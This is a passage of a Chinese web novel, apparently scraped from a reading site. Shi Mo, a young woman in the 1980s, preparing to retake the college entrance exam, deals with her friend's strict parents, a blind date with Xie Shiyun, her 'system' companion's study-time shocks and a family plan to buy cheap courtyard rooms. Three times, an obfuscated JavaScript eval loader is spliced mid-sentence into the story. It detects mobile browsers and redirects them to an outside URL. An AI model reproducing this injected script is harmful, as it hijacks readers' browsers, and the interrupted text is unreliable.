“还有的同学……嗯,私下里也说可以倒腾点紧俏商品,南方那边东西便宜。”她说后面这句时,下意识地往房门方向瞥了一眼,才继续道,“我们宿舍有个G市的同学,家里有人跑运输,偶尔能捎来些电子表、丝袜什么的,在同学间可抢手了,利润不小。” 时墨眼底闪过一丝精光,周晓娟果然对市场有嗅觉。 她顺着话头,略带试探地问:“听起来挺有意思,晓娟你没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126921|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着试试?你懂英语,看外文资料或者跟外面打交道应该很有优势。” 周晓娟脸上的兴奋劲儿像被泼了一盆冷水,瞬间黯淡下去。脸上浮现出一抹清晰的苦涩和无奈,长长叹了口气:“墨墨,我哪敢啊……” “上次我回家,跟我爸妈提了一嘴,说现在大学里思想活络,外面机会多,想了解一下,还说以后想试试做外贸,我爸当场就拍了桌子。” 周晓娟模仿着父亲当时的语气,咬牙切齿道:“‘读了几天大学就不知道天高地厚了!女孩子家安安稳稳找个铁饭碗才是正途,瞎折腾什么生意?那都是投机倒把的勾当!没想到你上个大学就心野了,不学好,净学些歪门邪道!’” “他还说,我要是敢背着家里乱搞这些,就立刻停了我的生活费和学费,直接托关系把我塞进国营厂里当文员,省得我瞎折腾,丢他的人!”周晓娟攥着衣角,指尖都泛了白,“我妈也在旁边帮腔,说我爸是为我好,女孩子稳稳当当才是福气,外面那些倒买倒卖的活计不是正经人干的,风险大,还会被人说闲话……让我别让他们操心。” “我知道他们……某种程度上是为我考虑,怕我吃亏,怕我走错路。可我真的觉得,时代不一样了,报纸上都在讲改革开放,讲搞活经济。但我爸说,那是国家大事,跟小老百姓没关系,我们这样的人家,捧好铁饭碗比啥都强。” 周晓娟叹了口气,声音里满是无力:“我现在啊,啥也干不了。学费生活费捏在家里,每个月那点补助刚够吃饭买书本。连买本原版英文小说,还得偷偷摸摸攒好久,生怕我爸发现说我不务正业。” “有时候我也恨自己没用,”周晓娟眼底闪过一丝不甘,却又很快被现实压下去,“上了大学,看到了更大的世界,反而被捆得更紧了。只能安慰自己,再熬几年,等毕业工作了,赚了钱,经济独立了,就能做自己想做的事了。到时候,就算我爸妈反对,我也有底气不听他们的了。” 说最后这句话时,周晓娟语气坚定的带着某种信念。 时墨静静地听着,心里瞬间了然。 周晓娟就像被关在笼子里的鸟,心里向往着外面的天空,却被家庭的枷锁牢牢困住。没有经济独立,所有的想法都只是空谈。现在让她当合伙人,不仅成不了事,反而可能让她被家里责罚,甚至断了学业,得不偿失。 时墨压下心里的念头,拍了拍周晓娟的手背,语气温和的安慰道:“晓娟,我相信你的能力。叔叔阿姨也是担心你,怕你小姑娘在外面吃亏。社会是复杂的,谨慎点也没错。”她巧妙地没有评价周父的对错,只是表示了理解。 话锋一转,又说道:“咱们先好好读书,等毕业了,有了工作,经济独立了,到时候不管你想做什么,我都陪你一起干。” 周晓娟惊讶地看着她,没想到时墨会和她站在一起,眼里瞬间涌上感动:“墨墨,谢谢你……谢谢你理解我。等我以后能自己做主了,一定第一个找你!” “好,我等你。”时墨笑着点头。 这时,一直旁听、几次欲言又止的时建军,看着周晓娟脸上残留的委屈和无奈,一股莫名的勇气冲上来,闷声道:“晓娟,你别太憋屈。老人有老人的想法,咱有咱的活法。日子长着呢,以后……以后总有机会的。” 时建军这话说得朴实,虽没什么大道理,但让周晓娟心里微微一暖,看向他的目光也柔和了许多。 “谢谢建军哥。”她轻声说。 时墨顺势转移了话题:“不说这些了,跟我讲讲你们的英文课呗?我复读的英文语法总出错,你可得好好教教我。” 周晓娟立刻来了精神,拉着时墨的手开始讲解,脸上又恢复了往日的光彩。 又聊了一会儿学业和复习,时墨便和时建军起身告辞。 周晓娟一直送他们到楼下,临走还塞给时墨两本《英语学习》杂志。 回去的路上,时建军蹬着车,忽然没头没脑地说了一句:“晓娟她爸……有点不讲理。” 时墨在后座笑了:“哥,你看出来了?” “嗯。”时建军闷闷地应了一声,“她想做点事也没错。” “所以啊,哥,”时墨循循善诱,“你想帮忙,现在最好的方式,就是多听她说,让她觉得有人理解她,支持她。别的,急不来。” 时建军“嗯”了一声,似乎明白了什么,又似乎没全明白,但脚下的步子却更稳了。 兄妹俩一起回了家,刚到家门口就听到里面传来了李秀兰熟悉的声音:“我家墨墨说过了,她现在想安心复习,相亲的事儿,以后再说吧……” 竟然又是来给她介绍对象的,时墨心下无奈,时建军和她对视了一眼,无声地对她说了一句:放心,哥支持你! 时墨好笑,两人一起往里面走。 突然,时墨脚步一顿,相亲?她眼睛瞬间亮了。 7. 第 7 章 晚饭桌上,玉米粥的热气氤氲着,时墨扒拉着碗里的土豆丝,听李秀兰抱怨刚才上门说亲的王婶。 “这王婶也是,当媒婆当上瘾了,我都说了墨墨要复读,还一个劲儿撺掇,说对方家里条件多好,小伙子多精神。” “还把墨墨先前的条件拿出来说事儿,说什么就是身高差了点,正好墨墨你们回来了,她大概也是怕你当着我的面下她的话,就赶紧走了。” 时建军没好气道:“妈,这王婶再来你不用给她开门,我看她是当媒婆赚外快赚上瘾了。” 时墨夹了一筷子青菜给李秀兰,安慰道:“妈,不气了啊,她那种人脸皮厚得很。”说着调侃起来,“我那么‘苛刻’的条件,放眼附近所有家属院都难找。王婶能扒拉出来四条符合的,也不容易,估计没想到真能卡在身高上。” 时建军咽下嘴里的馒头,笑道:“可不是嘛,个头超过一米八还得条件符合,可不好找。” 李秀兰看着时墨道:“墨墨,你跟我老实说,你这条件是认真的吗?” 时墨笑着摇头,“一半一半吧,我这会还小呢,我还得复读考大学,哪有时间去处对象?” 李秀兰点头,“我就说嘛,你怎么可能真想找这样的条件的?这放眼全区也没几家能够得上啊……” 时墨笑容更灿烂:“妈,我就不值当这么好条件的?” 李秀兰立马不乐意,“值,你当然值,可你不是说了嘛,你还得复读,咱们不着急啊!” 时建军在一边忍笑,时墨心头一软,“妈,我知道,我就是烦外头的人总拿这件事说道。” 李秀兰:“你甭搭理他们,咱们过好咱家的日子就行,气死他们。” 时建军点头,“就是,气死他们。” 一家人相视一笑。 时爱国笑着道:“说起来,符合墨墨条件的,我知道的还真有一个。” 全家同时看向时爱国。 “谁啊?”李秀兰好奇道。 “就我们厂赵厂长家那小子,赵星宇。”时爱国放下碗,咂咂嘴,“大专学历,好像是什么艺术学校的?赵厂长早给他备好了独立的婚房。收入嘛,他小子在文化局挂职,具体多少不知道,但肯定不低,加上他家里贴补,一年一千五绝对不止。身高嘛,我见过,挺高一小伙,模样也周正……” 李秀兰撇撇嘴:“按照你说的,他这也是靠着赵厂长补贴才有那么高的收入吧?不算不算。” 时爱国失笑:“你听我说完,别说墨墨这会不打算找对象了,就算她想找,我也不会同意她找这样的。” 李秀兰诧异,“咋了?” 时爱国摆手道,“这人不靠谱!” “咋不靠谱了?”时墨倒是来了兴趣。 “成天不好好上班,就琢磨着他那什么音乐梦想,组了个什么乐队,抱个什么吉他天天唱些鬼哭狼嚎的歌。”时爱国一脸嫌弃,“还老嚷嚷着要去香江,追求艺术,把他爸妈愁得头发都白了几根。赵厂长私下跟我说,就盼着他赶紧成家,找个好姑娘拴住他,收收心,踏踏实实的过日子。” 李秀兰皱眉,“这不就是街溜子嘛?赵厂长怎么不管管呢?” 时爱国叹气,“咋没管呢,骂了也打了,可他就是不改,他也就这么一根独苗,能咋办?” 李秀兰同样叹气,“唉,这就真是没办法了。” 时墨笑笑,却没说话——追求音乐梦想、想去香江、思想活跃。在这个年代,这可不是一般的“不靠谱”,这简直是思想活跃、不甘平庸、甚至有点叛逆的前卫青年啊! 比起思想保守的体制内人员,这种敢闯敢拼、不受束缚的人,才更能抓住时代机遇。 不过想也知道,这样的脱缰的野马,有多难搞,也怪不得做长辈的会头疼了。 只是自己当爹妈管不住人,就想着找个儿媳妇来管,也实在过于天真。 * 第二天,时爱国刚到厂里,就被厂长赵宏林叫到了办公室。 赵宏林十分热情,一进门就伸手握住了时爱国的手,拉着他坐到会客的沙发上,亲自给他倒了茶不说,脸上还带着罕见的、有点不好意思的笑:“老时啊,听说……你家闺女,最近在相亲?条件还……挺明确?” 时爱国眉头微蹙,暗道这消息传得可真快,面上露出一贯的老实诚恳模样:“厂长,您别听外人瞎传,小孩子家家的,随口乱说的,我家闺女其实在复读,她不想相亲,就这么胡诌八扯,您可别信。” “哎,怎么会是胡诌呢?”赵宏林拉着时爱国的手,压低了声音,“你家闺女我知道,模样好,聪明!是,这次高考是失利,但也不是啥大问题,孩子小嘛,第一次高考,紧张,我懂。但这不要紧啊,我相信啊,你家闺女这次复读一定能考上大学的!” “再说了,孩子条件好,提出跟自己相配的条件很正常嘛!我听人说,要大专学历、独立住房、年收入一千五以上、身高一米八、模样周正?巧了不是!我家那混小子,除了性格跳脱点,其他条条都符合啊!” 时爱国尴尬地点点头。 赵宏林拉着时爱国,一脸愁容:“老时,不瞒你说,我为那小子愁得睡不着觉!就盼着他赶紧定下来,收收心!你家墨墨我看就很合适嘛!你看……让俩年轻人见个面,认识认识?” 时爱国没想到昨儿晚上家里随口一说,今儿厂长就主动提,而且态度如此诚恳。 只是想到闺女对相亲的抗拒,时爱国尴尬地道:“厂长,我家墨墨现在真的不想相亲,只想专心复读,您要不再看看别人呢?我记得林工家的闺女刚考上大学,人也很漂亮……” 赵宏林叹气:“见过了,人家根本看不上我家那小子,而且那臭小子还说,红粉骷髅,气煞我也!” 时爱国:…… “刘工家也有两个闺女吧?” 赵宏林二次叹气:“见过了,一个嫌太丑,一个嫌无趣……” 时爱国嘴角抽搐:“厂长,您这是已经把厂里能相看的姑娘都给安排过了?” 赵宏林抹了把脸:“可不是,我这张老脸都丢光了,老时,我知道你宝贝你家闺女,但就是见一面,见一面,实在不行,那我也死心了不是?” 时爱国看着他这凄惨的样子,心头也不大落忍:“行,那我今儿回去跟墨墨说说,不过我也不保证她一定会见啊,毕竟孩子大了,我们也要尊重他们的想法。” 赵宏林惊喜:“这是自然,你放心,不管咋样,咱俩的关系不会有任何影响……” 时爱国只能笑:可不嘛,你一样是厂长,我一样是车工,能有多大影响? 两人敲定了各自孩子周末在人民公园的“沁芳”茶座见面。 赵宏林得偿所愿,心满意足地忙活去了。 消息传回家,时墨有些意外,没想到她爸态度转变还挺快。 不过时爱国却再三说:“你要是不想见就别去,我回去跟厂长说一声就是了。” 时墨:……这是能选择的吗? 赵厂长是她爸的领导,嘴上说不影响他俩的关系,可她要真不去,这么下对方的面子,赵厂长能忍才有鬼了呢。 时爱国也看出时墨的表情含义,他赶紧道:“你放心,你爸我在厂里这么多年,也不是吃干饭的,赵厂长就算心里不舒坦,他也不会对我怎么样的,你不要为了我就勉强自己,咋高兴咋过……” 时墨心口一暖,笑着摇摇头:“见一面而已,没事儿,爸,你放心,我知道该怎么选择。” 时爱国感动坏了,闺女真贴心,从口袋里掏了5块给时墨:“拿去买点好吃的……” 跟哄孩子似的,笨拙又真切,时墨哭笑不得,收下钱笑着答应了。 * 与此同时,赵家。 赵星宇听到父亲又双叒叕给他安排了相亲,对象还是厂里老师傅的女儿,顿时哀嚎一声,风风火火地冲到谢时昀的四合院,进门就喊:“哥!江湖救急!” “这次你一定要救我啊!”赵星宇哭丧着脸,冲进谢时昀所在的房间。 谢时昀正坐在窗边看一份外文期刊,抬眼瞥了他一眼,淡淡道:“又怎么了?” “我爸疯了!又让我去相亲!还是他们厂里的!肯定又是那种一见面就盘问家底、讨论生几个娃的姑娘!我的灵魂会被扼杀的!我的音乐梦想还在萌芽啊!” “不去便是。姨夫还能绑着你去?” “不去?我爸就断我生活费!”赵星宇扑到躺椅边,双手合十,“哥,好哥哥,你就帮我一次!替我去一趟呗!就应付一下,走个过场。求你了!我下周有个很重要的音乐会,不能没有经费啊!” 谢时昀被他吵得烦,放下书,挑眉道:“你的相亲,我去算什么事?不去。” “表哥!我求你了!”赵星宇抱着他的胳膊撒娇,“我爸说那姑娘听长得挺漂亮,就是要求有点高。什么身高必须一米八,独立住房……” 谢时昀的动作顿住:“对方叫什么?” “叫,时……时墨。对,时墨!” 竟然真是她。 谢时昀原本毫无兴趣的心思,突然活络起来。 他合上期刊,看向窗外葱郁的梧桐,指尖在光滑的纸面上轻轻敲击了两下:“行,我替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126922|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去。不过,后果你自己承担。” 赵星宇喜出望外:“没问题!只要能应付我爸,啥后果我都认!” * 周末下午,时墨依旧是一副随性打扮。 时墨到了地方,按照约好的位置寻去,就看到一个熟悉的身影坐在那里,一身清贵气度与周遭格格不入。 时墨脚步一顿,心里第一次对“缘分”这东西产生了一丝荒诞的怀疑。 怎么又是他?邪了门了。 谢时昀看到来人,站起身,眼底带着几分笑意:“时墨同志,又见面了。” 时墨拧眉:“怎么会是你?” “我是赵星宇的表哥,谢时昀。”谢时昀开门见山,没有丝毫隐瞒,“他不想相亲,又怕被我姨父断了生活费,便求我来应付一下。” 时墨挑眉,心下了然。 她本就没打算真相亲,只是碍于时爱国在厂里的处境,以及她也好奇这时代搞艺术的人具体怎么个叛逆法,这才过来的。现在既然对方也是找人替的,那就已经表明了他的态度,实在没有必要再浪费时间。 时墨干脆道:“既然是应付,那我回去跟我爸说,咱们不合适。” 说完,果断离开。 “稍等。”谢时昀叫住她,从随身携带的皮质文件夹里,抽出了一张质地精良的纸,递了过去。 时墨疑惑地接过纸,低头看去。 这是谢时昀的个人情况简述,字迹劲瘦有力,条理清晰,一目了然。 时墨越看,眉头皱得越紧。 父母是大学教授、本人硕士学历、身高185cm、独立四合院…… 这条件,不仅符合她的要求,还远超预期。 太完美了。 完美得不像真的。 “谢同志这是什么意思?”时墨语气平直,让人听不出情绪。 谢时昀迎着她的目光,态度从容,十分坦诚:“听闻时墨同志对未来的生活伴侣有清晰的要求和期待。我认为,在相互了解之初,坦诚是最基本的态度。这是我的基本情况,请你过目。” 他顿了顿,补充道:“当然,我并非以‘相亲对象’的身份自居。只是觉得,既然因缘际会再次见面,不妨给我一个机会。” 谢时昀这番话,进退有度,既展示了自己优越的条件,又尊重对方。 时墨似笑非笑地看着谢时昀,看得他整个人都开始紧绷起来。将那张纸轻轻放回桌上,推回到谢时昀面前,动作不疾不徐。 “谢同志的条件非常优秀。”时墨开口,声音清晰而冷淡,“但我们并不合适,” 谢时昀脸上一直保持的笑容僵住了。 他预想过各种反应,唯独没料到时墨会如此干脆、不留余地的拒绝,甚至带着明显的划清界限的意味。 “时墨同志是不是有所误会?我并无他意,只是……” “没有误会。”时墨打断他,“谢同志的好意我心领了。你的条件,是很符合我对外所说的条件,但是……” 时墨笑容灿烂,眼底却带着冰凉:“谁说我遇到条件符合的就一定会答应呢?谢同志,我拒绝跟你有任何瓜葛,就这样,再见。” 她微微颔首,算是最后的礼节,随即转身就走,脚步干脆,没有丝毫留恋。 阳光透过藤蔓,斑驳地洒在谢时昀身上,和他面前那张无人接受的“简历”上。 茶香犹在,对面的座位却已空空如也。 谢时昀怔怔地看着时墨毫不留恋的背影消失在公园绿荫深处,良久,才缓缓拿起那张纸。 指尖摩挲过特意写的“独立四合院”那几个字,忽然低笑了一声,只是这笑声里,没了之前的从容,多了几分遇到棋逢对手却意外失手的错愕,以及……被彻底挑起的不甘与兴味。 时墨…… 你果然,每一次都能给我“惊喜”。 他不会就这么放弃的。 谢时昀将简历慢慢折好,重新夹回文件夹,眼底深邃的光芒重新凝聚,甚至比之前更为锐利。 而走出公园的时墨,迎着微风,轻轻吐出一口气。 系统疑惑道:【宿主,这个叫谢时昀的人简历都是真的,他的条件在现在的时代算是金龟婿了,你怎么不多接触接触?】 时墨:【他太精明了,我讨厌跟我一样精明的人。】 系统琢磨两秒后:【您说,这人还会来找你吗?】 时墨眉头一皱:【会的。】 系统:【那咋办?没有权限,我只能物理惩戒您,没有办法惩戒他。】 时墨:…… 【我谢谢你啊。】 8. 第 8 章 时墨回到家,只简单跟父母说了一句“人见到了,不太合适”。时爱国和李秀兰果然没多问,反而松了口气般安慰她。 “不合适就算了,正好安心复习。”李秀兰拍拍她的手,“我闺女这么好,以后上了大学,肯定能找到更好的。” 时爱国也点头:“对,复习要紧。赵厂长那边我去说,本来就是走个过场,没事儿。” 看着父母毫无责备、满是关切的样子,时墨心里暖暖的,也就把谢时昀这茬暂时抛到了脑后。 没想到两天后傍晚,时爱国下班回来,手里拎着一个沉甸甸的帆布包,一进门就嚷嚷:“墨墨!快出来看看,爸给你带什么好东西了!” 时墨听到喊她从屋里出来。 只见时爱国把包放在桌上,解开系带,里面是厚厚一摞用牛皮纸仔细包好的书籍和笔记。 “这是啥?”时墨惊讶道。 “复习资料!”时爱国一边往外拿书,一边说道,“赵厂长觉得相亲那事没成肯定是他儿子说啥不中听的话了,听我上次说你在复读,特意托人找了好些复习资料,都是重点高中老师内部用的,还有前几年高考状元的笔记!” 时墨随手翻看桌上摆的书籍,果真从高中语文、数学的重难点手册,到英语语法精讲、物理化学的真题集,琳琅满目。 李秀兰放下手里的菜盆也凑过来看,惊叹道:“哎呀,这资料可真全!墨墨不是说没那些事,就是长相性格没看上。” 时爱国点头,语气里满是对赵厂长的称赞:“可不是嘛!但赵厂长他就是觉得耽误墨墨时间了,说这点东西不算什么,就当是赔礼,也希望墨墨能考出好成绩。” “赵厂长人确实不错,还没领导的臭架子!” “那是,我们厂长……” 时墨听着爸妈聊起工作八卦,翻着桌上那堆显然经过精心整理、甚至可能根据她文理科弱项特意挑选过的资料,心情复杂。 她拿起一本英语语法手册,翻开一看,里面用不同颜色的笔标注了高频考点、易错句型,甚至还有详细的解题思路,字迹工整,条理清晰。 再翻开物理真题集,每道题后面都附了两种解题方法,还标注了“适合快速解题”“步骤完整易得分”的字样,显然是花了心思整理的。 【宿主,这些资料质量极高,针对性很强,非常有学习价值。】系统客观评价完,又嘀咕起来。 时墨没说话,指尖摩挲着纸页上的批注,赞同地点点头。 她早不是十几岁的高中生,离开校园多年,很多知识点都生疏了,这些资料来得正是时候,而且专业性远超市面上能买到的普通教辅。 赵厂长确实是个好人,可惜,摊上个糟心儿子。 * 接下来几天,时墨彻底沉浸在复习中。 赵厂长给的资料果然好用,很多晦涩难懂的知识点,经上面批注点拨,瞬间豁然开朗。让她迅速梳理清了知识脉络,效率倍增。 这天晚上,时墨正对着一道数学压轴题钻研,思路刚有眉目,脑海里突然响起系统的警报。 【警告!宿主连续学习时间已达39分58秒,即将超过单次40分钟限制时长。请立即停止脑力劳动,进行休息!倒计时:10,9,8……】 时墨正解题到关键时刻,脑子根本停不下来,下意识地忽略了系统的提示。 【3,2,1!超时警告!给予轻度惩戒!】 “滋——!” 一股微弱但清晰的电流感瞬间窜过她的手臂和肩膀,不剧痛,却让她整个上半身猛地一麻,手里的笔“啪嗒”掉在桌上,整个人不受控制地瘫坐在椅子上,头发都炸了起来。 “嘶——”时墨倒吸一口凉气,麻得说不出话,好半天才缓过劲来,浑身还残留着电流穿过的酥麻感,脑子也空白了一瞬。 【我提醒你,你都不搭理我!】系统气鼓鼓的,【系统规则明确规定,为保障宿主“躺平”状态,避免过度劳累,单次学习时间不得超过40分钟,两次学习间隔至少20分钟。不然会进行强制性惩罚。】 系统撒完火,看时墨没搭理他,又担忧起来:【宿主你没事吧,第一次只是轻微电流,应该不伤身啊。】 时墨好半天才缓过劲来,看着桌上那道只差最后两步就能解出的题,气得牙痒痒,却又无可奈何。 “你这什么破规则?学习也算过度劳动?” 【是的。长时间高度集中注意力,比干体力活还累呢!所以特此规定了学习时间。】系统解释道。 “行,我记住了,下次继续提醒。” 【好的呢。】 时墨揉着发麻的胳膊,强迫自己站起来,在屋里踱步缓缓麻劲儿,二十分钟后,才再次坐下。 经过这次教训,时墨不得不把自己的复习计划切割成一个个四十分钟的模块,中间强制休息。进度虽然受到一些影响,但学习效率反而因为规律作息提高了不少。 复习之余,时墨依旧没忘了淘货。连续去了两次信托商店,都没碰到像样的宝贝,系统也没给出任何提示,她便把希望寄托在了周三的新货上。 周三一大早,时墨揣着钱,早早来到信托商店。 刚进门,就瞥见货架旁一个熟悉的身影——谢时昀正拿着一本旧书翻看,姿态从容,显然是早到了。 一次是偶遇,两次是巧合,这第三次,还是在特意挑了“上新货”的日子……他是在蹲她? 时墨没丝毫犹豫,转身就走,脚步轻快,生怕被他发现。 谢时昀若有所觉般回过头,只看到窗户外一闪而过的身影。 他站在原地,望着那个方向,眼底掠过一丝了然,眼底笑意加深。 果然,她察觉到了。 警惕性真高。 既然直接“偶遇”会引起她的反感,那就换条路。 * 时墨后来返回也没看到好货,又去旧货市场溜达一圈,东西更是参差不齐,果然,老物件得看缘分,她之前连续捡漏纯粹是运气好。 这段时间系统和宿主相处愉快,便主动提供信息道:【宿主,你喜欢旧物可以去琉璃厂转转,那边东西质量好。】 时墨猛地拍了下手:“我这扯不扯,灯下黑,把琉璃厂给忘了。系统,特批你一百经费,花去吧。” 【好嘞!】系统开心地转圈圈。 这天下午,李秀兰收拾屋子时,忽然想起一件事。 “墨墨,你下午要是没事,去趟老房子那边,把上个月的房租收一下。”李秀兰从抽屉里找出一个有些年头的木匣子,里面放着几把钥匙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126923|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和一个小本子,“那个租户是老熟人,你去一趟,顺便看看房子有没有啥问题。” “嗯,我这就过去。”时墨自然地接过钥匙。 老房子? 时墨从原主记忆里扒拉了一下,才想起自家在城北靠近城墙根的地方,还有一间爷奶留下来的的小房子,是典型的八十年代大杂院,一个院子里住着五六户人家那种布局。 因为离机械厂远,时爱国单位又分了这边的筒子楼,他家就把院里的小房子租出去搬楼上住了,也给家里增添一点微薄的额外收入。 时墨骑着家里的二八杠,按照记忆晃晃悠悠骑了快一个小时,才找到那条掩藏在胡同深处的老院子。 门脸不大,朱漆斑驳,走进去有个不大的天井,院里被各家搭建的小厨房、煤池子挤得满满当当,晾衣绳横七竖八,挂着各色衣物。 正赶上做晚饭的时候,家家户户传出炒菜声、说话声、孩子的哭闹声,混杂着油烟和煤烟的味道,热闹而凌乱。 时墨按照记忆找到租户,收完八块钱房租,又简单查看了一下房子,确认没问题后,正准备离开时,就听见天井里水龙头旁,几个正在洗菜淘米的大妈婶子聊得正欢。 “……可不是嘛!老王家那二小子,就是有魄力!攒了那么久的钱,眼都不眨,就把老孙头家那间快塌了的南倒座给买下来了!”一个胖大婶声音洪亮。 “花了不少吧?听说这个数?”另一个瘦些的婶子比划了一下。 “何止!加上拾掇的钱,得一千了呢!”胖大婶咂舌,“不过人家说了,值!家里六口人,挤在两间小屋里,儿子媳妇孙子孙女,转个身都难。现在好了,南倒座拾掇出来,虽然小点,但儿子媳妇带着小孙子搬过去住,老两口带着大孙女住这边,总算松快点了!” “要我说,有这钱,不如再攒攒,等厂里分楼房。”一个端着痰盂出来的老爷子插话,“买房?还是这么破的房子,不值当!住单位分的楼房,多省心,还不用花钱买,自己还能攒点。” “刘大爷,话不能这么说。”另一个正在择豆角的中年妇女反驳道,“现在单位分房指标那么紧张,排队都排到好几年后了。再说人家家里实在住不开,孩子都大了,也不方便。能分开住,哪怕房子破点,心里也舒坦。老王家这钱花得值!我看啊,以后这房子,说不定还得涨呢!” “涨啥涨,就这破院子?净做美梦!”刘大爷摇头,端着痰盂走了。 “哎,各家有各家的难处。要是有钱,谁不想住楼房?”胖大婶总结道,“反正我觉得,老王家这事儿办得对!” 院子里的人七嘴八舌地讨论着,有人觉得买房浪费钱,不如等单位分房;有人觉得花点钱住得舒坦,值当。 时墨站在拱门旁,心里却掀起了波澜。 不到一千块钱买一间四合院的屋子? 破点咋了,面积小点咋了,那可是四合院啊! 这个价格,放在后世简直不敢想象! 时墨瞬间意识到,这是一个巨大的机会。 系统暂时没有出声,似乎也在评估这种行为是否违规。 时墨压下内心的激动,决定立刻回家跟爸妈商量,把院里剩下的空屋子或者周边的破房子买下来。 理由她都想好了——给她哥盖婚房! 9. 第 9 章 回家的路上,晚风裹着胡同里煤炉的烟火气往鼻子里钻,时墨的心跳得飞快,脑子里噼里啪啦地打着算盘。 她家双职工还有哥哥赚零用,这条件在现在,绝对是条件不错的了。买两间破屋子,应该绰绰有余。 晚饭桌上,玉米碴子粥的热气还没散,时墨瞅准时机,装作不经意地提起:“今儿我去老房子收租,听院里人唠嗑,可有意思了。” “都唠啥了?”时建军咬了一大口贴饼子,饼子渣掉了一桌子,他随手抹到一边,好奇道。 “我听院里张大妈说,前院老王家,花八百块买了间邻居的南倒座。”时墨夹起一根芥菜疙瘩,咯吱咬了一口,随意道,“那间屋子快塌了,结果买下来后泥了墙、糊了顶棚,拾掇拾掇后给儿子媳妇住,一家子分开住得舒坦多了,不用再挤挤插插的。晚上连个转身的地儿都没有。” 时墨边说边拿眼梢瞟着桌上的人,观察家人的反应。 李秀兰“哎哟”一声:“八百块?那房子得多破啊?怕是下雨天都得漏雨吧?” “破是破点,但收拾出来也能住人,关键是长辈和媳妇分开住了,自在。”时墨看向时建军,眉眼弯弯,“哥,你都二十二了,虚岁也二十三了,也到了该琢磨终身大事的年纪,不能到了议事的时候连个婚房都没有吧。” 时建军被妹妹打趣,笑道:“我不急你倒是急上了,你哥我还年轻呢。” “年轻啥呀!”时爱国放下筷子,拿瓷碗喝了口粥,声音沉了下来,“前街老孙家那小子,比你小半岁,孩子都两岁了!你哥他是该考虑了,我和你妈最近也正琢磨这事呢。” 说着,时爱国把瓷碗往桌上一墩,“哐当”一声,震得碴子粥的热气晃了晃:“你这话倒是提醒我了,老房子那边要是真有价钱合适的便宜房子,买下来拾掇拾掇,总比到时候现抓瞎强。” 李秀兰帮腔道:“是这么个理儿!儿子,你可别不当回事。妈知道你看中晓娟那姑娘,人家现在可是大学生,以后毕业分配工作,那可是吃公家饭的体面人。咱家要是不提前把房子这些硬条件准备好,你拿啥去追人家?” 时建军一听周晓娟的名字,耳朵尖都红了,扒拉着碗里的粥,闷声道:“晓娟……她还得念四年书呢。到时候再说也来得及,我再多攒点,等攒够了钱,买个新的……” “等你攒够了,黄花菜都凉了!”时爱国打断他的话,眉头皱得紧紧的,“现在这房价,看着还行,可往后指不定涨多少!我听厂里老刘说,城南那边都有人开始倒腾房子了,再过两年,这价钱想买都不一定买得着!” 李秀兰点点头,附和道:“确实,你爸说的对。” 时墨:“哥,你就听爸的吧。现在房子便宜,买下来就算不住,简单弄弄租出去,租金也能贴补家用,等于钱没白放着。等你真需要用了,房子是现成的,稍微好好装一下就行。” 这话算是说到了时爱国和李秀兰的心坎里。 老两口对视一眼,儿子娶媳妇是大事,房子是头一关。现在有机会用相对低的成本解决,确实值得考虑。 时爱国大手往桌上一拍,直接拍板道:“你妹说得在理,婚房这事儿,早准备早安心。现在房价便宜,万一以后涨价了,再想买就难了。这事就这么定了!” 他看向时建军,语气不容置喙:“你也别不当回事,人家晓娟考上大学,往后眼界宽了,选择可就多了,咱做父母的,总不能让你在这上面吃亏。” 时建军心里不是不认同:“我就是觉得让家里一下子拿出这么多钱,压力太大了。” “压力大啥?”李秀兰摆摆手,“你别瞎操心了,等这个礼拜天休息,我跟你爸回老房子那边打听打听,看看有没有人家愿意卖的,价钱咋样。这事你说了不算,我和你爸做主!” 时建军叹了口气,彻底没了话。 时墨偷瞄了眼她哥没招的表情,心里暗笑:哥啊,别怪爸妈霸道,这可是给你攒家底呢!再过几年,你就得哭着感谢今天这个决定。 礼拜天,时爱国和李秀兰揣着半包烟,蹬着自行车回了老胡同。傍晚回来时,两人脸上都带着笑,连带着疲惫都散了几分。 当晚饭桌上。 时爱国特意开了瓶二锅头,给自己倒了一盅,咂摸了一口,眉飞色舞地宣布道:“我和你妈今儿可算捡着漏了!院子西头有两户人家要卖房!一户是老陈头,跟着儿子去外地投奔亲戚了,空着两间连着的小房,想出手;另一户是小张家,就挨着咱家的老房子,家里三个娃挤得转不开身,想卖了旧房加点钱,换厂里正在建的楼房指标!” 他放下酒杯,伸出两根手指:“两处房子都旧,但主体结构还行,修修补补就能住。关键是价钱实在,加起来才一千六百块!” 